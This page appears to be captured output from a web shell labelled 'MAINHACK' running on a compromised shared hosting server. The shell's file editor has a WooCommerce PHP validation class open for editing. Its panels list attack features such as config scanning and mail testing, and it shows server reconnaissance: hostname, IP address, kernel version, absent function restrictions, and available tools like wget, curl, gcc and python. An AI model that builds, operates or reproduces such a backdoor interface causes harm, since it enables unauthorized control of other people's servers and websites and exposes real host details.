[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ValidationUtils.php
<?php namespace Automattic\WooCommerce\StoreApi\Utilities; /** * ValidationUtils class. * Helper class which validates and update customer info. */ class ValidationUtils { /** * Get list of states for a country. * * @param string $country Country code. * @return array Array of state names indexed by state keys. */ public function get_states_for_country( $country ) { return $country ? array_filter( (array) \wc()->countries->get_states( $country ) ) : []; } /** * Validate provided state against a countries list of defined states. * * If there are no defined states for a country, any given state is valid. * * @param string $state State name or code (sanitized). * @param string $country Country code. * @return boolean Valid or not valid. */ public function validate_state( $state, $country ) { $states = $this->get_states_for_country( $country ); if ( count( $states ) && ! in_array( \wc_strtoupper( $state ), array_map( '\wc_strtoupper', array_keys( $states ) ), true ) ) { return false; } return true; } /** * Format a state based on the country. If country has defined states, will return a valid upper case state code. * * @param string $state State name or code (sanitized). * @param string $country Country code. * @return string */ public function format_state( $state, $country ) { $states = $this->get_states_for_country( $country ); if ( count( $states ) ) { $state = \wc_strtoupper( $state ); $state_values = array_map( '\wc_strtoupper', array_flip( array_map( '\wc_strtoupper', $states ) ) ); if ( isset( $state_values[ $state ] ) ) { // Convert to state code if a state name was provided. return $state_values[ $state ]; } } return $state; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.32 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252